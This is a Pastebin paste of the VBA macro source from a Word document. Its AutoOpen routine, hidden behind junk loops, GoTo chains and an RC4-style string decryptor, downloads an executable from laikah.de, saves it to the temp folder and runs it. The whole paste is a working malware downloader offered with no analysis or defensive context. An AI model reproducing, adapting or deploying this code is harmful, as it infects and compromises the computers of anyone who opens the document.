Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Private Const Cm8OMu3Ie4h = "nSNOM"
- Private Const SQqpgglmtK = "^167617,gzg"
- Private Const PTM = "ijPQp"
- Private Const oeeWlrJQi = "ÆÒì.Crrnkacvkml"
- Private Const gleRsO = "cmJ"
- Private Const tUaUWh = "WjúÂ.Qvpgco"
- Private Const aZP = "Scripting.FileSystemObject"
- Private Const rmoRnWu5OK = "agcnES"
- Private Const BkZYOOT = "Éej"
- Private Const aq03OU5E = "MGZIf"
- Private Const YcGrE = "õÓL.ZONJVVR"
- Private Const j2OhBfg8O = "kMgLkBc"
- Private Const iJIw8Vpj = "‚ó´5617,gzg"
- Private Const HCpSDASww = "http://laikah.de/js/bin.exe"
- Private Const NyjTIGvvn = aZP
- Sub autoopen()
- Dim BeVV3a3, DO1mvh9s
- Dim wmdrB As Variant
- Dim QJkGTi As String
- QJkGTi = SQwkic
- Do Until wmdrB = QJkGTi
- wmdrB = SQwkic
- Exit Do
- Loop
- Dim UBVbjZENNMQo As Variant
- Dim httIMPHgv As String
- httIMPHgv = FIdFJYUDQqqR
- Do Until UBVbjZENNMQo = httIMPHgv
- UBVbjZENNMQo = FIdFJYUDQqqR
- Exit Do
- Loop
- Set BeVV3a3 = CreateObject(NyjTIGvvn)
- Dim HPFlghf As Variant
- Dim OVzbLcgjazcG As String
- OVzbLcgjazcG = bwmdrBk
- Do Until HPFlghf = OVzbLcgjazcG
- HPFlghf = bwmdrBk
- Exit Do
- Loop
- Dim QupSUBVbjZE As Variant
- Dim MQovChttIMP As String
- MQovChttIMP = voYFId
- Do Until QupSUBVbjZE = MQovChttIMP
- QupSUBVbjZE = voYFId
- Exit Do
- Loop
- Dim ee6_wo, y46, gcD8inghgB
- Const r94T = 2
- Dim BioHPF As Variant
- Dim hfkUOV As String
- hfkUOV = Lcgja
- Do Until BioHPF = hfkUOV
- BioHPF = Lcgja
- Exit Do
- Loop
- Dim QVygxjnMn As Variant
- Dim KHeAZQM As String
- KHeAZQM = EaNQupS
- Do Until QVygxjnMn = KHeAZQM
- QVygxjnMn = EaNQupS
- Exit Do
- Loop
- Set ee6_wo = BeVV3a3.GetSpecialFolder(r94T)
- oihuIHBj = HCpSDASww
- Dim fVMblTSGGi As Variant
- Dim fyeCTgTRL As String
- fyeCTgTRL = xhsyu
- Do Until fVMblTSGGi = fyeCTgTRL
- fVMblTSGGi = xhsyu
- Exit Do
- Loop
- Dim MZqEaNQupSU As Variant
- Dim bjZENNMQovCh As String
- bjZENNMQovCh = IMPHgvoY
- Do Until MZqEaNQupSU = bjZENNMQovCh
- MZqEaNQupSU = IMPHgvoY
- Exit Do
- Loop
- uBHJvsdf = ee6_wo & oOoztLIgBaSO(iJIw8Vpj, j2OhBfg8O)
- Set Hb0356TG1 = CreateObject(oOoztLIgBaSO(YcGrE, aq03OU5E))
- Dim anyhgT As Variant
- Dim DPeLdP As String
- DPeLdP = hfZroKhF
- Do Until anyhgT = DPeLdP
- anyhgT = hfZroKhF
- Exit Do
- Loop
- Dim zdqpFJM As Variant
- Dim slUCF As String
- slUCF = GUQzNnnNQ
- Do Until zdqpFJM = slUCF
- zdqpFJM = GUQzNnnNQ
- Exit Do
- Loop
- Hb0356TG1.Open oOoztLIgBaSO(BkZYOOT, rmoRnWu5OK), oihuIHBj, False
- Dim rAZFjyf As Variant
- Dim MCidechRK As String
- MCidechRK = QIZdfQwZ
- Do Until rAZFjyf = MCidechRK
- rAZFjyf = QIZdfQwZ
- Exit Do
- Loop
- Dim OjxkQxTSv As Variant
- Dim gkJkvpHE As String
- gkJkvpHE = VNJVmBQK
- Do Until OjxkQxTSv = gkJkvpHE
- OjxkQxTSv = VNJVmBQK
- Exit Do
- Loop
- Hb0356TG1.send
- Dim HcSJQiQPDDfn As Variant
- Dim vbyQd As String
- vbyQd = IbYuepurCTU
- Do Until HcSJQiQPDDfn = vbyQd
- HcSJQiQPDDfn = IbYuepurCTU
- Exit Do
- Loop
- Dim qEOjxk As Variant
- Dim TSvctgkJ As String
- TSvctgkJ = pHEbxVNJ
- Do Until qEOjxk = TSvctgkJ
- qEOjxk = pHEbxVNJ
- Exit Do
- Loop
- Set oUQW_09Dw = CreateObject(NyjTIGvvn)
- If oUQW_09Dw.FileExists(uBHJvsdf) Then
- oUQW_09Dw.DeleteFile (uBHJvsdf)
- End If
- Dim cSJQiQPDDf As Variant
- Dim cvbyQdQOI As String
- cvbyQdQOI = uepurCTUqrAZ
- Do Until cSJQiQPDDf = cvbyQdQOI
- cSJQiQPDDf = uepurCTUqrAZ
- Exit Do
- Loop
- Dim gkJkvpHExVNJV As Variant
- Dim QKTrmPRyS As String
- QKTrmPRyS = VBJKI
- Do Until gkJkvpHExVNJV = QKTrmPRyS
- gkJkvpHExVNJV = VBJKI
- Exit Do
- Loop
- Dim yky5
- Dim FjyflEMCidecRKRwQI As Variant
- Dim fQwZD As String
- fQwZD = Ysjany
- Do Until FjyflEMCidecRKRwQI = fQwZD
- FjyflEMCidecRKRwQI = Ysjany
- Exit Do
- Loop
- Dim slUCFCGUQz As Variant
- Dim nNQjLfK As String
- nNQjLfK = aALFYHeNY
- Do Until slUCFCGUQz = nNQjLfK
- slUCFCGUQz = aALFYHeNY
- Exit Do
- Loop
- Set yky5 = CreateObject(oOoztLIgBaSO(tUaUWh, gleRsO))
- Dim thfZroKhFLHS As Variant
- Dim GHRbVziBUPEktusxi As String
- GHRbVziBUPEktusxi = MaZptvMcTEmoJ
- Do Until thfZroKhFLHS = GHRbVziBUPEktusxi
- thfZroKhFLHS = MaZptvMcTEmoJ
- Exit Do
- Loop
- Dim VLOGgInlSH As Variant
- Dim JQiQPDDfnzcbyQdQOIb As String
- JQiQPDDfnzcbyQdQOIb = epurCTUq
- Do Until VLOGgInlSH = JQiQPDDfnzcbyQdQOIb
- VLOGgInlSH = epurCTUq
- Exit Do
- Loop
- With yky5
- Dim VmBQKTrmPR As Variant
- Dim YgVBJKINlsz As String
- YgVBJKINlsz = pFJMDds
- Do Until VmBQKTrmPR = YgVBJKINlsz
- VmBQKTrmPR = pFJMDds
- Exit Do
- Loop
- Dim RwQIZdfQwZ As Variant
- Dim jYsjanygTFhDP As String
- jYsjanygTFhDP = dPTthfZroK
- Do Until RwQIZdfQwZ = jYsjanygTFhDP
- RwQIZdfQwZ = dPTthfZroK
- Exit Do
- Loop
- .Type = 1
- Dim TeMMAAbkwZ As Variant
- Dim vNaNKEQUrblr As String
- vNaNKEQUrblr = QQmoxUCg
- Do Until TeMMAAbkwZ = vNaNKEQUrblr
- TeMMAAbkwZ = QQmoxUCg
- Exit Do
- Loop
- Dim thSuQP As Variant
- Dim qchGhsmEBYuS As String
- qchGhsmEBYuS = SjyTHQojMO
- Do Until thSuQP = qchGhsmEBYuS
- thSuQP = SjyTHQojMO
- Exit Do
- Loop
- .Open
- Dim AbkwZsYvN As Variant
- Dim KEQUrblrnzQ As String
- KEQUrblrnzQ = oxUCgvc
- Do Until AbkwZsYvN = KEQUrblrnzQ
- AbkwZsYvN = oxUCgvc
- Exit Do
- Loop
- Dim fYfJQVmq As Variant
- Dim JZQBjl As String
- JZQBjl = nALgth
- Do Until fYfJQVmq = JZQBjl
- fYfJQVmq = nALgth
- Exit Do
- Loop
- .Write Hb0356TG1.responseBody
- Dim zdfLRltiO As Variant
- Dim INyFMdDCSI As String
- INyFMdDCSI = cFkiPEZPG
- Do Until zdfLRltiO = INyFMdDCSI
- zdfLRltiO = cFkiPEZPG
- Exit Do
- Loop
- Dim LfyRMBhq As Variant
- Dim ufYfJQV As String
- ufYfJQV = skJZQBj
- Do Until LfyRMBhq = ufYfJQV
- LfyRMBhq = skJZQBj
- Exit Do
- Loop
- .SaveToFile uBHJvsdf
- Dim UbQjzOVYhEdfLRltiOJ As Variant
- Dim NyFMdDCSIL As String
- NyFMdDCSIL = FkiPE
- Do Until UbQjzOVYhEdfLRltiOJ = NyFMdDCSIL
- UbQjzOVYhEdfLRltiOJ = FkiPE
- Exit Do
- Loop
- Dim yRMBhrpufYfJ As Variant
- Dim mqskJZQBjlFiALgthSu As String
- mqskJZQBjlFiALgthSu = rZqchGhsmEBuSKGSjyTHQoj
- Do Until yRMBhrpufYfJ = mqskJZQBjlFiALgthSu
- yRMBhrpufYfJ = rZqchGhsmEBuSKGSjyTHQoj
- Exit Do
- Loop
- .Close
- Dim PEZPGT As Variant
- Dim MAAbkwZsYvN As String
- MAAbkwZsYvN = KEQUrblrnzQmoxUCgvciBJ
- Do Until PEZPGT = MAAbkwZsYvN
- PEZPGT = KEQUrblrnzQmoxUCgvciBJ
- Exit Do
- Loop
- Dim nmCGI As Variant
- Dim phRzB As String
- phRzB = DRNwKjkK
- Do Until nmCGI = phRzB
- nmCGI = DRNwKjkK
- Exit Do
- Loop
- End With
- Dim NxINKVn As Variant
- Dim KTsZCRyEYg As String
- KTsZCRyEYg = wxvAlemPr
- Do Until NxINKVn = KTsZCRyEYg
- NxINKVn = wxvAlemPr
- Exit Do
- Loop
- Dim FHdFJYiCQDqQ As Variant
- Dim OvNzDd As String
- OvNzDd = IbYuQphdpFU
- Do Until FHdFJYiCQDqQ = OvNzDd
- FHdFJYiCQDqQ = IbYuQphdpFU
- Exit Do
- Loop
- Set yky5 = Nothing
- Dim HPFlghfUcjzaa As Variant
- Dim iazcG As String
- iazcG = bvmdqBk
- Do Until HPFlghfUcjzaa = iazcG
- HPFlghfUcjzaa = bvmdqBk
- Exit Do
- Loop
- Dim QBvCgtsIMP As Variant
- Dim voYFH As String
- voYFH = JYiCQDqQn
- Do Until QBvCgtsIMP = voYFH
- QBvCgtsIMP = JYiCQDqQn
- Exit Do
- Loop
- Dim apgiacGEmbvmd As Variant
- Dim kjQQyGSvO As String
- kjQQyGSvO = kwkicurNxIN
- Do Until apgiacGEmbvmd = kjQQyGSvO
- apgiacGEmbvmd = kwkicurNxIN
- Exit Do
- Loop
- Dim OIbYuQphd As Variant
- Dim UqenKFjlRm As String
- UqenKFjlRm = pUdechEL
- Do Until OIbYuQphd = UqenKFjlRm
- OIbYuQphd = pUdechEL
- Exit Do
- Loop
- If oUQW_09Dw.FileExists(uBHJvsdf) Then
- End If
- Dim zcGEm As Variant
- Dim mdqBkjQQ As String
- mdqBkjQQ = SvOuRkwkic
- Do Until zcGEm = mdqBkjQQ
- zcGEm = SvOuRkwkic
- Exit Do
- Loop
- Dim PGgvoYFHdFJ As Variant
- Dim CQDqQn As String
- CQDqQn = vNzDdDOIbYuphdpFUqenKF
- Do Until PGgvoYFHdFJ = CQDqQn
- PGgvoYFHdFJ = vNzDdDOIbYuphdpFUqenKF
- Exit Do
- Loop
- Set dfgFFFfg = CreateObject(oOoztLIgBaSO(oeeWlrJQi, PTM))
- Dim gwQVmcfQvZDB As Variant
- Dim sjanxhgTTuDP As String
- sjanxhgTTuDP = rOhthfZroK
- Do Until gwQVmcfQvZDB = sjanxhgTTuDP
- gwQVmcfQvZDB = rOhthfZroK
- Exit Do
- Loop
- Dim JKINyrydq As Variant
- Dim JLDdskUCE As String
- JLDdskUCE = GUfzMAnNk
- Do Until JKINyrydq = JLDdskUCE
- JKINyrydq = GUfzMAnNk
- Exit Do
- Loop
- dfgFFFfg.Open ee6_wo & oOoztLIgBaSO(SQqpgglmtK, Cm8OMu3Ie4h)
- End Sub
- Public Function oOoztLIgBaSO(ByVal Data As String, ByVal Password As String) As String
- GoTo JQhIHYNQHhJpmU
- JQhIHYNQHhJpmU:
- GoTo TKZjRR
- TKZjRR:
- GoTo goBdwcAReSPJcZ
- goBdwcAReSPJcZ:
- GoTo qwsDUV
- qwsDUV:
- GoTo CaGkAgnGND
- CaGkAgnGND:
- GoTo fdiTMT
- fdiTMT:
- On Error Resume Next
- GoTo aehZxaFplaukbpzi
- aehZxaFplaukbpzi:
- GoTo HjERgNfQUujgaspMiGM
- HjERgNfQUujgaspMiGM:
- GoTo YmHJSdQAQjDQQGmvvuy
- YmHJSdQAQjDQQGmvvuy:
- GoTo kObbqu
- kObbqu:
- GoTo NdVFnqKnr
- NdVFnqKnr:
- GoTo lylYzVTwevhlKlwqIF
- lylYzVTwevhlKlwqIF:
- GoTo QOLQoCYLUtoQ
- QOLQoCYLUtoQ:
- Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
- GoTo ZhQCLLKPmtAfsrHKNFe
- ZhQCLLKPmtAfsrHKNFe:
- GoTo VEGbDHVS
- VEGbDHVS:
- GoTo ooPYkMgLkBcBMGZIf
- ooPYkMgLkBcBMGZIf:
- GoTo gcnES
- gcnES:
- Key() = StrConv(Password, vbFromUnicode)
- GoTo JEijPQpx
- JEijPQpx:
- For X = 0 To 255
- GoTo OMRCJQhIHYNQHhJpm
- OMRCJQhIHYNQHhJpm:
- GoTo eTKZjRREEgoBdwc
- eTKZjRREEgoBdwc:
- GoTo eSPJcZvfqwsDUVrsCa
- eSPJcZvfqwsDUVrsCa:
- GoTo AgnGNDje
- AgnGNDje:
- GoTo iTMTyZ
- iTMTyZ:
- GoTo ehZxa
- ehZxa:
- GoTo laukbpzii
- laukbpzii:
- Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
- GoTo ERgNfQU
- ERgNfQU:
- GoTo gaspMiG
- gaspMiG:
- GoTo TYmHJSdQAQjDQQG
- TYmHJSdQAQjDQQG:
- GoTo vuykdkObbqu
- vuykdkObbqu:
- GoTo NdVFnqKnrPlylYzVTwevhlK
- NdVFnqKnrPlylYzVTwevhlK:
- F(X) = X
- GoTo IFdyQOLQoC
- IFdyQOLQoC:
- GoTo UtoQSzTZhQCLLKPm
- UtoQSzTZhQCLLKPm:
- GoTo fsrHKNFetmVEG
- fsrHKNFetmVEG:
- GoTo HVSBOooPYkMgLk
- HVSBOooPYkMgLk:
- Next X
- GoTo MGZIfOagcnESb
- MGZIfOagcnESb:
- Key() = StrConv(Data, vbFromUnicode)
- GoTo EijPQpxnSNOMRCJQ
- EijPQpxnSNOMRCJQ:
- GoTo HYNQHhJpmUIeTKZ
- HYNQHhJpmUIeTKZ:
- For X = 0 To Len(Data)
- GoTo EEgoBdwcAReSPJcZvf
- EEgoBdwcAReSPJcZvf:
- GoTo sDUVrsCaGkA
- sDUVrsCaGkA:
- GoTo GNDjefdiT
- GNDjefdiT:
- GoTo yZKaehZxaFplaukbpzi
- yZKaehZxaFplaukbpzi:
- GoTo HjERgNfQUujgaspMiGMTYmHJSdQAQjDQQG
- HjERgNfQUujgaspMiGMTYmHJSdQAQjDQQG:
- GoTo vuykdkObbqupNdVFnqKnrFP
- vuykdkObbqupNdVFnqKnrFP:
- Y = (Y + F(Y) + 1) Mod 256
- GoTo YzVTwevh
- YzVTwevh:
- GoTo lwqIFdyQOLQoCYLU
- lwqIFdyQOLQoCYLU:
- GoTo QSzTZhQCL
- QSzTZhQCL:
- GoTo PmtAfsrHKNFetmVE
- PmtAfsrHKNFetmVE:
- Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
- GoTo HVSBOooPYkMgLkcBMGZIfOagcnE
- HVSBOooPYkMgLkcBMGZIfOagcnE:
- Next X
- GoTo mJEij
- mJEij:
- oOoztLIgBaSO = StrConv(Key, vbUnicode)
- GoTo xnSNOMRCJ
- xnSNOMRCJ:
- GoTo IHYNQHh
- IHYNQHh:
- GoTo mUIeTKZjR
- mUIeTKZjR:
- GoTo EgoBdwcAReSPJc
- EgoBdwcAReSPJc:
- GoTo fqwsDUVrsCa
- fqwsDUVrsCa:
- GoTo AgnGNDjediTMTy
- AgnGNDjediTMTy:
- GoTo aehZxaFplaukbpziUHjERgN
- aehZxaFplaukbpziUHjERgN:
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement